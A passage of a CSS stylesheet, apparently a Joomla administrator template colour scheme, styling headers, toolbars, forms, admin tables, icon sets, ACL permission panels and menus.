Background‚ permissions debug */ /** * General styles */ body { background-color: #ffffff; color: #2c2c2c; } h1 { color: #2c2c2c; } a:link { color: #054993; } a:visited { color: #054993; } /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat; } #header h1.title { color: #2c2c2c; } #nav { background: #f9fade; border: 1px solid #c7c8b2; } #content { background: #ffffff; } #no-submenu { border-bottom: 1px solid #c7c8b2; } #element-box { background: #ffffff; border-right: 1px solid #c7c8b2; border-bottom: 1px solid #c7c8b2; border-left: 1px solid #c7c8b2; } #element-box.login { border-top: 1px solid #c7c8b2; } /** * Status layout */ #module-status .preview { background: url(../images/menu/icon-16-media.png) 3px 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) 3px 3px no-repeat; } #module-status .unread-messages, #module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) 3px 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) 3px 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) 3px 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) 3px 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) 3px 3px no-repeat; } /** * Various Styles */ .enabled, .success, .allow, span.writable { color: #005800; } .disabled, p.error, .warning, .deny, span.unwritable { color: #a20000; } .nowarning { color: #2c2c2c; } .none { color: #cccccc; } .protected { color: #999999; } span.note { background: #ffffff; color: #2c2c2c; } div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Overlib */ .ol-foreground { background-color: #f9fade; } .ol-background { background-color: #005800; } .ol-textfont { color: #2c2c2c; } .ol-captionfont { color: #ffffff; } .ol-captionfont a { color: #054993; } /** * Subheader, toolbar, page title */ div.subheader .padding { background: #ffffff; } .pagetitle h2 { color: #2c2c2c; } div.configuration { color: #2c2c2c; background-image: url(../images/menu/icon-16-config.png); background-repeat: no-repeat; } div.toolbar-box { border-right: 1px solid #c7c8b2; border-bottom: 1px solid #c7c8b2; border-left: 1px solid #c7c8b2; background: #ffffff; } div.toolbar-list li { color: #2c2c2c; } div.toolbar-list li.divider { border-right:1px dotted #e3e4ca; } div.toolbar-list a { border-left: 1px solid #e3e4ca; border-top: 1px solid #e3e4ca; border-right: 1px solid #c7c8b2; border-bottom: 1px solid #c7c8b2; background: #f9fade; } div.toolbar-list a:hover { border-left: 1px solid #868778; border-top: 1px solid #868778; border-right: 1px solid #f6f7db; border-bottom: 1px solid #f6f7db; background: #e3e4ca; color: #054993; } /** * Pane Slider pane Toggler styles */ .pane-sliders .title { color: #2c2c2c; } .pane-sliders .panel { border: 1px solid #c7c8b2; } .pane-sliders .panel h3 { background: #f9fade; color: #2c2c2c; } .pane-sliders .adminlist { border: 0 none; } .pane-sliders .adminlist td { border: 0 none; } .pane-toggler span { background: transparent url(../images/j_arrow.png) 5px 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) 5px 50% no-repeat; } .pane-toggler-down { border-bottom: 1px solid #c7c8b2; } /** * Tabs */ dl.tabs dt { border: 1px solid #c7c8b2; background: #f9fade; color: #2c2c2c; } dl.tabs dt.open { background: #ffffff; border-bottom: 1px solid #ffffff; color: #2c2c2c; } dl.tabs dt.open a:visited { color: #2c2c2c; } div.current { border: 1px solid #c7c8b2; background: #ffffff; } /* New parameter styles */ div.current fieldset { border: none 0; } div.current fieldset.adminform { border: 1px #c7c8b2 solid; } /** * Login Settings */ #login-page .pagetitle h2 { background: transparent; } #login-page #header { border-bottom: 1px solid #c7c8b2; } #login-page #lock { background: url(../images/j_login_lock.png) 50% 0 no-repeat; } #login-page #element-box.login { background: #f9fade; } #form-login { background: #ffffff; border: 1px solid #c7c8b2; } #form-login label { color: #2c2c2c; } #form-login div.button1 a { color: #2c2c2c; /* padding: 0 30px 0 6px; use this if you use images */ } /** * Cpanel Settings */ #cpanel div.icon a, .cpanel div.icon a { color: #2c2c2c; border-left: 1px solid #e3e4ca; border-top: 1px solid #e3e4ca; border-right: 1px solid #c7c8b2; border-bottom: 1px solid #c7c8b2; background: #f9fade; } #cpanel div.icon a:hover, #cpanel div.icon a:focus, .cpanel div.icon a:hover, .cpanel div.icon a:focus { border-left: 1px solid #868778; border-top: 1px solid #868778; border-right: 1px solid #f6f7db; border-bottom: 1px solid #f6f7db; background: #e3e4ca; color: #054993; } /** * Form Styles */ fieldset { border: 1px #c7c8b2 solid; } legend { color: #2c2c2c; } fieldset ul.checklist input:focus { outline: thin dotted #2c2c2c; } fieldset#filter-bar { border-top: 0 solid #c7c8b2; border-right: 0 solid #c7c8b2; border-bottom: 1px solid #c7c8b2; border-left: 0 solid #c7c8b2; } fieldset#filter-bar ol, fieldset#filter-bar ul { border: 0; } fieldset#filter-bar ol li fieldset, fieldset#filter-bar ul li fieldset { border: 0; } /* Note: these visual cues should be augmented by aria */ .invalid { color: #a20000; } /* must be augmented by aria at the same time if changed dynamically by js aria-invalid=true or aria-invalid=false */ input.invalid { border: 1px solid #a20000; } /* augmented by aria in template javascript */ input.readonly, span.faux-input { border: 0; } input.required { background-color: #e5f0fa; } input.disabled { background-color: #eeeeee; } input,select, span.faux-input { background-color: #ffffff; border: 1px solid #c7c8b2; } /* Inputs used as buttons */ input[type="button"], input[type="submit"], input[type="reset"] { background-color: #f9fade; } input[type="button"]:hover, input[type="button"]:focus, input[type="submit"]:hover, input[type="submit"]:focus, input[type="reset"]:hover, input[type="reset"]:focus { background-color: #e3e4ca; color: #2c2c2c; } textarea { background-color: #ffffff; border: 1px solid #c7c8b2; } input:focus, select:focus, textarea:focus, option:focus, input:hover, select:hover, textarea:hover, option:hover { background-color: #e3e4ca; color: #2c2c2c; } /** * Option or Parameter styles */ .paramrules { background: #f9fade; } span.gi { color: #c7c8b2; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { background-color: #f9fade; color: #2c2c2c; border-bottom: 1px solid #c7c8b2; border-right: 1px solid #c7c8b2; } table.paramlist td.paramlist_description { background-color: #f9fade; color: #2c2c2c; border-bottom: 1px solid #c7c8b2; border-right: 1px solid #c7c8b2; } /** * Admin Form Styles */ fieldset.adminform { border: 1px solid #c7c8b2; } /* Table styles are for use with tabular data */ table.adminform { background-color: #ffffff; } table.adminform tr.row0 { background-color: #ffffff; } table.adminform tr.row1 { background-color: #e3e4ca; } table.adminform th { color: #2c2c2c; background: #ffffff; } table.adminform tr { border-bottom: 1px solid #c7c8b2; border-right: 1px solid #c7c8b2; } /** * Adminlist Table layout */ table.adminlist { border-spacing: 1px; background-color: #ffffff; color: #2c2c2c; } table.adminlist.modal { border-right: 1px solid #c7c8b2; border-left: 1px solid #c7c8b2; } table.adminlist a { color: #054993; } table.adminlist thead th { background: #ffffff; color: #2c2c2c; border-bottom:1px solid #C7C8B2; } /* Table row styles */ table.adminlist tbody tr { background: #ffffff; } table.adminlist tbody tr.row1 { background: #ffffff; } table.adminlist tbody tr.row1 td, table.adminlist tbody tr.row1 th { border-bottom: 1px solid #c7c8b2; } table.adminlist tbody tr.row0:hover td, table.adminlist tbody tr.row1:hover td, table.adminlist tbody tr.row0:hover th, table.adminlist tbody tr.row1:hover th, table.adminlist tbody tr.row0:focus td, table.adminlist tbody tr.row1:focus td, table.adminlist tbody tr.row0:focus th, table.adminlist tbody tr.row1:focus th { background-color: #e3e4ca; } table.adminlist tbody tr td, table.adminlist tbody tr th { border-right: 1px solid #c7c8b2; } table.adminlist tbody tr td:last-child { border-right: none; } table.adminlist tbody tr.row0:last-child td, table.adminlist tbody tr.row0:last-child th { border-bottom: 1px solid #c7c8b2; } table.adminlist tbody tr.row0 td, table.adminlist tbody tr.row0 th { background: #f9fade; } table.adminlist { border-bottom: 0 solid #c7c8b2; } table.adminlist tfoot tr { color: #2c2c2c; } /* Table td/th styles */ table.adminlist tfoot td,table.adminlist tfoot th { background-color: #ffffff; border-top: 1px solid #c7c8b2; } /** * Adminlist buttons */ table.adminlist tr td.btns a { border: 1px solid #c7c8b2; background-color: #ffffff; color: #2c2c2c; } table.adminlist tr td.btns a:hover, table.adminlist tr td.btns a:active, table.adminlist tr td.btns a:focus { background-color: #f9fade; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Saving order icon styling in admin tables */ fieldset.batch { background: #fff; } /** * Button styling */ button { background-color: #f9fade; border: 1px solid #c7c8b2; } button:hover, button:focus { background-color: #e3e4ca; } .invalid { color: #ff0000; } /* Button 1 Type */ .button1 { border: 1px solid #c7c8b2; background: #f9fade; } /* Use this if you add images to the buttons such as directional arrows */ .button1 a { color: #2c2c2c; /* add padding if you are using the directional images */ /* padding: 0 30px 0 6px; */ } .button1 a:hover, .button1 a:focus { background-color: #e3e4ca; } /* Button 2 Type */ .button2-left, .button2-right { border: 1px solid #c7c8b2; background-color: #f9fade; } .button2-left a, .button2-right a, .button2-left span, .button2-right span { color: #2c2c2c; } /* these are inactive buttons */ .button2-left span,.button2-right span { color: #cccccc; } .page span,.blank span { color: #2c2c2c; } .button2-left a:hover, .button2-right a:hover, .button2-left a:focus, .button2-right a:focus { background-color: #e3e4ca; } /** * Pagination styles */ /* Grey out the current page number */ .pagination .page span { color: #cccccc; } .icon-32-extension { background-image: url(../images/toolbar/icon-32-extension.png); } /** * Tooltips */ .tip { background: #ffffff; border: 1px solid #c7c8b2; } .tip-title { background: url(../images/selector-arrow-std.png) no-repeat; } /** * Calendar */ a img.calendar { background: url(../images/calendar.png) no-repeat; } /** * JGrid styles */ .jgrid span.publish { background-image: url(../images/admin/tick.png); } .jgrid span.unpublish { background-image: url(../images/admin/publish_x.png); } .jgrid span.archive { background-image: url(../images/menu/icon-16-archive.png); } .jgrid span.trash { background-image: url(../images/menu/icon-16-trash.png); } .jgrid span.default { background-image: url(../images/menu/icon-16-default.png); } .jgrid span.notdefault { background-image: url(../images/menu/icon-16-notdefault.png); } .jgrid span.checkedout { background-image: url(../images/admin/checked_out.png); } .jgrid span.downarrow { background-image: url(../images/admin/downarrow.png); } .jgrid span.downarrow_disabled { background-image: url(../images/admin/downarrow0.png); } .jgrid span.uparrow { background-image: url(../images/admin/uparrow.png); } .jgrid span.uparrow_disabled { background-image: url(../images/admin/uparrow0.png); } .jgrid span.published { background-image: url(../images/admin/publish_g.png); } .jgrid span.expired { background-image: url(../images/admin/publish_r.png); } .jgrid span.pending { background-image: url(../images/admin/publish_y.png); } .jgrid span.warning { background-image: url(../images/admin/publish_y.png); } .jgrid span.protected { background-image: url(../images/admin/icon-16-protected.png); } /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ .icon-16-alert { background-image: url(../images/menu/icon-16-alert.png); } .icon-16-archive { background-image: url(../images/menu/icon-16-archive.png); } .icon-16-article { background-image: url(../images/menu/icon-16-article.png); } .icon-16-banners { background-image: url(../images/menu/icon-16-banner.png); } .icon-16-banners-clients { background-image: url(../images/menu/icon-16-banner-client.png); } .icon-16-banners-tracks { background-image: url(../images/menu/icon-16-banner-tracks.png); } .icon-16-banners-cat { background-image: url(../images/menu/icon-16-banner-categories.png); } .icon-16-category { background-image: url(../images/menu/icon-16-category.png); } .icon-16-checkin { background-image: url(../images/menu/icon-16-checkin.png); } .icon-16-clear { background-image: url(../images/menu/icon-16-clear.png); } .icon-16-component { background-image: url(../images/menu/icon-16-component.png); } .icon-16-config { background-image: url(../images/menu/icon-16-config.png); } .icon-16-contact { background-image: url(../images/menu/icon-16-contacts.png); } .icon-16-contact-cat { background-image: url(../images/menu/icon-16-contacts-categories.png); } .icon-16-content { background-image: url(../images/menu/icon-16-content.png); } .icon-16-cpanel { background-image: url(../images/menu/icon-16-cpanel.png); } .icon-16-default { background-image: url(../images/menu/icon-16-default.png); } .icon-16-featured { background-image: url(../images/menu/icon-16-featured.png); } .icon-16-groups { background-image: url(../images/menu/icon-16-groups.png); } .icon-16-help { background-image: url(../images/menu/icon-16-help.png); } .icon-16-help-this { background-image: url(../images/menu/icon-16-help-this.png); } .icon-16-help-forum { background-image: url(../images/menu/icon-16-help-forum.png); } .icon-16-help-docs { background-image: url(../images/menu/icon-16-help-docs.png); } .icon-16-help-jed { background-image: url(../images/menu/icon-16-help-jed.png); } .icon-16-help-jrd { background-image: url(../images/menu/icon-16-help-jrd.png); } .icon-16-help-community { background-image: url(../images/menu/icon-16-help-community.png); } .icon-16-help-security { background-image: url(../images/menu/icon-16-help-security.png); } .icon-16-help-dev { background-image: url(../images/menu/icon-16-help-dev.png); } .icon-16-help-shop { background-image: url(../images/menu/icon-16-help-shop.png); } .icon-16-info { background-image: url(../images/menu/icon-16-info.png); } .icon-16-install { background-image: url(../images/menu/icon-16-install.png); } .icon-16-joomlaupdate { background-image: url(../images/menu/icon-16-install.png); } .icon-16-language { background-image: url(../images/menu/icon-16-language.png); } .icon-16-levels { background-image: url(../images/menu/icon-16-levels.png); } .icon-16-logout { background-image: url(../images/menu/icon-16-logout.png); } .icon-16-maintenance { background-image: url(../images/menu/icon-16-maintenance.png); } .icon-16-massmail { background-image: url(../images/menu/icon-16-massmail.png); } .icon-16-media { background-image: url(../images/menu/icon-16-media.png); } .icon-16-menu { background-image: url(../images/menu/icon-16-menu.png); } .icon-16-menumgr { background-image: url(../images/menu/icon-16-menumgr.png); } .icon-16-messages { background-image: url(../images/menu/icon-16-messaging.png); } .icon-16-messages-add { background-image: url(../images/menu/icon-16-new-privatemessage.png); } .icon-16-messages-read { background-image: url(../images/menu/icon-16-messages.png); } .icon-16-module { background-image: url(../images/menu/icon-16-module.png); } /* .icon-16-new { background-image: url(../images/menu/icon-16-new.png); } */ .icon-16-newarticle { background-image: url(../images/menu/icon-16-newarticle.png); } .icon-16-newcategory { background-image: url(../images/menu/icon-16-newcategory.png); } .icon-16-newgroup { background-image: url(../images/menu/icon-16-newgroup.png); } .icon-16-newlevel { background-image: url(../images/menu/icon-16-newlevel.png); } .icon-16-newuser { background-image: url(../images/menu/icon-16-newuser.png); } .icon-16-nopreview { background-image: url(../images/menu/icon-16-nopreview.png); } .icon-16-plugin { background-image: url(../images/menu/icon-16-plugin.png); } .icon-16-preview { background-image: url(../images/menu/icon-16-preview.png); } .icon-16-profile { background-image: url(../images/menu/icon-16-user.png); } .icon-16-purge { background-image: url(../images/menu/icon-16-purge.png); } .icon-16-readmess { background-image: url(../images/menu/icon-16-readmess.png); } .icon-16-section { background-image: url(../images/menu/icon-16-section.png); } .icon-16-static { background-image: url(../images/menu/icon-16-static.png); } .icon-16-stats { background-image: url(../images/menu/icon-16-stats.png); } .icon-16-themes { background-image: url(../images/menu/icon-16-themes.png); } .icon-16-trash { background-image: url(../images/menu/icon-16-trash.png); } .icon-16-user { background-image: url(../images/menu/icon-16-user.png); } .icon-16-user-note { background-image: url(../images/menu/icon-16-user-note.png); } .icon-16-delete { background-image: url(../images/menu/icon-16-delete.png); } .icon-16-help-trans { background-image: url(../images/menu/icon-16-help-trans.png); } .icon-16-newsfeeds { background-image: url(../images/menu/icon-16-newsfeeds.png); } .icon-16-newsfeeds-cat { background-image: url(../images/menu/icon-16-newsfeeds-cat.png); } .icon-16-redirect { background-image: url(../images/menu/icon-16-redirect.png); } .icon-16-search { background-image: url(../images/menu/icon-16-search.png); } .icon-16-finder { background-image: url(../images/menu/icon-16-search.png); } .icon-16-weblinks { background-image: url(../images/menu/icon-16-links.png); } .icon-16-weblinks-cat { background-image: url(../images/menu/icon-16-links-cat.png); } /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ .icon-32-send { background-image: url(../images/toolbar/icon-32-send.png); } .icon-32-delete { background-image: url(../images/toolbar/icon-32-delete.png); } .icon-32-help { background-image: url(../images/toolbar/icon-32-help.png); } .icon-32-cancel { background-image: url(../images/toolbar/icon-32-cancel.png); } .icon-32-checkin { background-image: url(../images/toolbar/icon-32-checkin.png); } .icon-32-options{ background-image: url(../images/toolbar/icon-32-config.png); } .icon-32-apply { background-image: url(../images/toolbar/icon-32-apply.png); } .icon-32-back { background-image: url(../images/toolbar/icon-32-back.png); } .icon-32-forward { background-image: url(../images/toolbar/icon-32-forward.png); } .icon-32-save { background-image: url(../images/toolbar/icon-32-save.png); } .icon-32-edit { background-image: url(../images/toolbar/icon-32-edit.png); } .icon-32-copy { background-image: url(../images/toolbar/icon-32-copy.png); } .icon-32-move { background-image: url(../images/toolbar/icon-32-move.png); } .icon-32-new { background-image: url(../images/toolbar/icon-32-new.png); } .icon-32-upload { background-image: url(../images/toolbar/icon-32-upload.png); } .icon-32-assign { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-html { background-image: url(../images/toolbar/icon-32-html.png); } .icon-32-css { background-image: url(../images/toolbar/icon-32-css.png); } .icon-32-menus { background-image: url(../images/toolbar/icon-32-menu.png); } .icon-32-publish { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-unblock { background-image: url(../images/toolbar/icon-32-unblock.png); } .icon-32-unpublish { background-image: url(../images/toolbar/icon-32-unpublish.png); } .icon-32-restore { background-image: url(../images/toolbar/icon-32-revert.png); } .icon-32-trash { background-image: url(../images/toolbar/icon-32-trash.png); } .icon-32-archive { background-image: url(../images/toolbar/icon-32-archive.png); } .icon-32-unarchive { background-image: url(../images/toolbar/icon-32-unarchive.png); } .icon-32-preview { background-image: url(../images/toolbar/icon-32-preview.png); } .icon-32-default { background-image: url(../images/toolbar/icon-32-default.png); } .icon-32-refresh { background-image: url(../images/toolbar/icon-32-refresh.png); } .icon-32-save-new { background-image: url(../images/toolbar/icon-32-save-new.png); } .icon-32-save-copy { background-image: url(../images/toolbar/icon-32-save-copy.png); } .icon-32-error { background-image: url(../images/toolbar/icon-32-error.png); } .icon-32-new-style { background-image: url(../images/toolbar/icon-32-new-style.png); } .icon-32-delete-style { background-image: url(../images/toolbar/icon-32-delete-style.png); } .icon-32-purge { background-image: url(../images/toolbar/icon-32-purge.png); } .icon-32-remove { background-image: url(../images/toolbar/icon-32-remove.png); } .icon-32-featured { background-image: url(../images/toolbar/icon-32-featured.png); } .icon-32-export { background-image: url(../images/toolbar/icon-32-export.png); } .icon-32-stats { background-image: url(../images/toolbar/icon-32-stats.png); } .icon-32-print { background-image: url(../images/toolbar/icon-32-print.png); } /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ .icon-48-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-generic { background-image: url(../images/header/icon-48-generic.png); } .icon-48-banners { background-image: url(../images/header/icon-48-banner.png); } .icon-48-banners-categories { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-edit { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-banners-clients { background-image: url(../images/header/icon-48-banner-client.png); } .icon-48-banners-tracks { background-image: url(../images/header/icon-48-banner-tracks.png); } .icon-48-checkin { background-image: url(../images/header/icon-48-checkin.png); } .icon-48-clear { background-image: url(../images/header/icon-48-clear.png); } .icon-48-contact { background-image: url(../images/header/icon-48-contacts.png); } .icon-48-contact-categories { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-edit { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-purge { background-image: url(../images/header/icon-48-purge.png); } .icon-48-cpanel { background-image: url(../images/header/icon-48-cpanel.png); } .icon-48-config { background-image: url(../images/header/icon-48-config.png); } .icon-48-groups { background-image: url(../images/header/icon-48-groups.png); } .icon-48-groups-add { background-image: url(../images/header/icon-48-groups-add.png); } .icon-48-levels { background-image: url(../images/header/icon-48-levels.png); } .icon-48-levels-add { background-image: url(../images/header/icon-48-levels-add.png); } .icon-48-module { background-image: url(../images/header/icon-48-module.png); } .icon-48-menu { background-image: url(../images/header/icon-48-menu.png); } .icon-48-menu-add { background-image: url(../images/header/icon-48-menu-add.png); } .icon-48-menumgr { background-image: url(../images/header/icon-48-menumgr.png); } .icon-48-trash { background-image: url(../images/header/icon-48-trash.png); } .icon-48-user { background-image: url(../images/header/icon-48-user.png); } .icon-48-user-add { background-image: url(../images/header/icon-48-user-add.png); } .icon-48-user-edit { background-image: url(../images/header/icon-48-user-edit.png); } .icon-48-user-profile { background-image: url(../images/header/icon-48-user-profile.png); } .icon-48-inbox { background-image: url(../images/header/icon-48-inbox.png); } .icon-48-new-privatemessage { background-image: url(../images/header/icon-48-new-privatemessage.png); } .icon-48-msgconfig { background-image: url(../images/header/icon-48-message_config.png); } .icon-48-langmanager { background-image: url(../images/header/icon-48-language.png); } .icon-48-mediamanager { background-image: url(../images/header/icon-48-media.png); } .icon-48-plugin { background-image: url(../images/header/icon-48-plugin.png); } .icon-48-help_header { background-image: url(../images/header/icon-48-help_header.png); } .icon-48-impressions { background-image: url(../images/header/icon-48-stats.png); } .icon-48-browser { background-image: url(../images/header/icon-48-stats.png); } .icon-48-searchtext { background-image: url(../images/header/icon-48-stats.png); } .icon-48-thememanager { background-image: url(../images/header/icon-48-themes.png); } .icon-48-writemess { background-image: url(../images/header/icon-48-writemess.png); } .icon-48-featured { background-image: url(../images/header/icon-48-featured.png); } .icon-48-sections { background-image: url(../images/header/icon-48-section.png); } .icon-48-article-add { background-image: url(../images/header/icon-48-article-add.png); } .icon-48-article-edit { background-image: url(../images/header/icon-48-article-edit.png); } .icon-48-article { background-image: url(../images/header/icon-48-article.png); } .icon-48-content-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-content-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-install { background-image: url(../images/header/icon-48-extension.png); } .icon-48-dbbackup { background-image: url(../images/header/icon-48-backup.png); } .icon-48-dbrestore { background-image: url(../images/header/icon-48-dbrestore.png); } .icon-48-dbquery { background-image: url(../images/header/icon-48-query.png); } .icon-48-systeminfo { background-image: url(../images/header/icon-48-info.png); } .icon-48-massmail { background-image: url(../images/header/icon-48-massmail.png); } .icon-48-redirect { background-image: url(../images/header/icon-48-redirect.png); } .icon-48-search { background-image: url(../images/header/icon-48-search.png); } .icon-48-finder { background-image: url(../images/header/icon-48-search.png); } .icon-48-newsfeeds { background-image: url(../images/header/icon-48-newsfeeds.png); } .icon-48-newsfeeds-categories { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-edit { background-image: url(../images/header/icon-48-newsfeeds-cat.png); } .icon-48-newsfeeds-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-weblinks { background-image: url(../images/header/icon-48-links.png); } .icon-48-weblinks-categories { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-edit { background-image: url(../images/header/icon-48-links-cat.png); } .icon-48-weblinks-category-add { background-image: url(../images/header/icon-48-category-add.png); } /** * General styles */ div.message { border: 1px solid #c7c8b2; color: #2c2c2c; } .helpFrame { border-left: 0 solid #c7c8b2; border-right: none; border-top: none; border-bottom: none; } .outline { border: 1px solid #c7c8b2; background: #ffffff; } /** * Modal Styles */ dl.menu_type dt { border-bottom: 1px solid #c7c8b2; } ul#new-modules-list { border-top: 1px solid #c7c8b2; } /** * User Accessibility */ /* Skip to Content Visual Styling */ #skiplinkholder a, #skiplinkholder a:link, #skiplinkholder a:visited { color: #ffffff; background: #054993; border-bottom: solid #336 2px; } /** * Admin Form Styles */ fieldset.panelform { border: none 0; } /** * ACL STYLES relocated from com_users/media/grid.css */ a.move_up { background-image:url('../images/admin/uparrow.png'); } span.move_up { background-image:url('../images/admin/uparrow0.png'); } a.move_down { background-image:url('../images/admin/downarrow.png'); } span.move_down { background-image:url('../images/admin/downarrow0.png'); } a.grid_false { background-image:url('../images/admin/publish_x.png'); } a.grid_true { background-image:url('../images/admin/tick.png'); } a.grid_trash { background-image:url('../images/admin/icon-16-trash.png'); } /** * ACL PANEL STYLES */ /* All Tabs */ tr.row1 { background-color: #f9fade; } /* Summary Tab */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6, table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-left: 1px solid #c7c8b2; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat; } span.icon-16-locked { background: url(../images/admin/checked_out.png) 0 0 no-repeat; } label.icon-16-allow { background:url(../images/admin/icon-16-allow.png) no-repeat; } label.icon-16-deny { background:url(../images/admin/icon-16-deny.png) no-repeat; } a.icon-16-allow { background:url(../images/admin/icon-16-allow.png) no-repeat ; } a.icon-16-deny { background:url(../images/admin/icon-16-deny.png) no-repeat ; } a.icon-16-allowinactive { background:url(../images/admin/icon-16-allowinactive.png) no-repeat ; } a.icon-16-denyinactive { background:url(../images/admin/icon-16-denyinactive.png) no-repeat ; } /* ACL footer/legend */ ul.acllegend li.acl-allowed { background:url(../images/admin/icon-16-allow.png) no-repeat left; } ul.acllegend li.acl-denied { background:url(../images/admin/icon-16-deny.png) no-repeat left; } li.acl-editgroups, li.acl-resetbtn { background-color: #f9fade; border: 1px solid #c7c8b2; } li.acl-editgroups a, li.acl-resetbtn a { color: #2c2c2c; } li.acl-editgroups:hover, li.acl-resetbtn:hover, li.acl-editgroups:focus, li.acl-resetbtn:focus { background-color:#e3e4ca; } /* ACL Config --------- */ table#acl-config{ border: 1px solid #c7c8b2; } table#acl-config th, table#acl-config td { background: #f9fade; border-bottom: 1px solid #c7c8b2; } table#acl-config th.acl-groups { border-right: 1px solid #c7c8b2; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) right top no-repeat; } /** * Options modal- config */ /** * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { border: solid 0 #c7c8b2; background:#ffffff; } ul#rules li .pane-sliders .panel h3.title { border: solid 0 #c7c8b2; } #permissions-sliders ul#rules .pane-slider { border: solid 1px #c7c8b2; } #permissions-sliders ul#rules li h3 { background: #f9fade; border: 1px solid #c7c8b2; } #permissions-sliders ul#rules li h3.pane-toggler-down a { border: solid 0; } #permissions-sliders ul#rules .group-kind { color: #2c2c2c; } #permissions-sliders ul#rules table.group-rules { border: 1px solid #c7c8b2; } #permissions-sliders ul#rules table.group-rules td { border-right:solid 1px #c7c8b2; border-bottom:solid 1px #c7c8b2; } #permissions-sliders ul#rules table.group-rules th { background:#e3e4ca; border-right:solid 1px #c7c8b2; border-bottom:solid 1px #c7c8b2; color:#2c2c2c; } ul#rules table.aclmodify-table { border:solid 1px #c7c8b2; } ul#rules table.group-rules td label { border:solid 0 #c7c8b2; } #permissions-sliders ul#rules .mypanel { border:solid 0 #c7c8b2; } #permissions-sliders ul#rules table.group-rules td { background: #ffffff; } #permissions-sliders span.level { color:#c7c8b2; background-image:none; } /* * Debug styles */ .check-0, table.adminlist tbody td.check-0 { background-color: #FFFFCF; } .check-a, table.adminlist tbody td.check-a { background-color: #CFFFDA; } .check-d, table.adminlist tbody td.check-d { background-color: #FFCFCF; } /** * System Messages */ #system-message dd ul { color: #2c2c2c; } #system-message dd.error ul { color: #2c2c2c; } #system-message dd.message ul { color: #2c2c2c; } #system-message dd.notice ul { color: #2c2c2c; } /** CSS file for Accessible Admin Menu * based on Matt Carrolls' son of suckerfish * with javascript by Bill Tomczak */ /* Note: set up the font-size on the id and used 100% on the elements. If ul/li/a are different ems, then the shifting back via non-js keyboard doesn't work properly */ /** * Menu Styling */ #menu { /* this is on the main ul */ color: #2c2c2c; } #menu ul { /* all lists */ background: #f9fade; color: #2c2c2c; } #menu ul li.node { background: url(../images/j_arrow.png) no-repeat right 50%; } #menu ul li.separator { margin-bottom: 0; border-bottom: 1px dotted #e3e4ca; } #menu a { color: #054993; background-repeat: no-repeat; background-position: left 50%; } #menu li { /* all list items */ background: #f9fade; border-right: 1px solid #c7c8b2; } #menu li a:hover, #menu li a:focus { background-color: #e3e4ca; } #menu li.disabled a:hover, #menu li.disabled a:focus, #menu li.disabled a { color: #cccccc; background-color: #f9fade; } #menu li ul { /* second-level lists */ border: 1px solid #c7c8b2; } #menu li li { /* second-level row */ background: #f9fade; } /** * Styling parents */ /* 1 level - sfhover */ #menu li.sfhover a { background-color: #e3e4ca; } /* 2 level - normal */ #menu li.sfhover li a { background-color: #f9fade; } /* 2 level - hover */ #menu li.sfhover li.sfhover a,#menu li li a:focus { background-color: #e3e4ca; } /* 3 level - normal */ #menu li.sfhover li.sfhover li a { background-color: #f9fade; } /* 3 level - hover */ #menu li.sfhover li.sfhover li.sfhover a,#menu li li li a:focus { background-color: #e3e4ca; } /* bring back the focus elements into view */ #menu li li a:focus, #menu li li li a:focus { background-color: #e3e4ca; } #menu li li li a:focus { background-color: #e3e4ca; } /** * Submenu styling */ #submenu { border-bottom: 1px solid #c7c8b2; /* border-bottom plus padding-bottom is the technique */ /* This is the background befind the tabs */ background: #ffffff; } #submenu a, #submenu span.nolink { background: #f9fade; border: 1px solid #c7c8b2; color: #054993; } #submenu a:hover, #submenu a:focus { background-color: #e3e4ca; } #submenu a.active, #submenu span.nolink.active { background: #fff; border-bottom: 1px solid #fff; color: #000; } /* -- Codemirror Editor 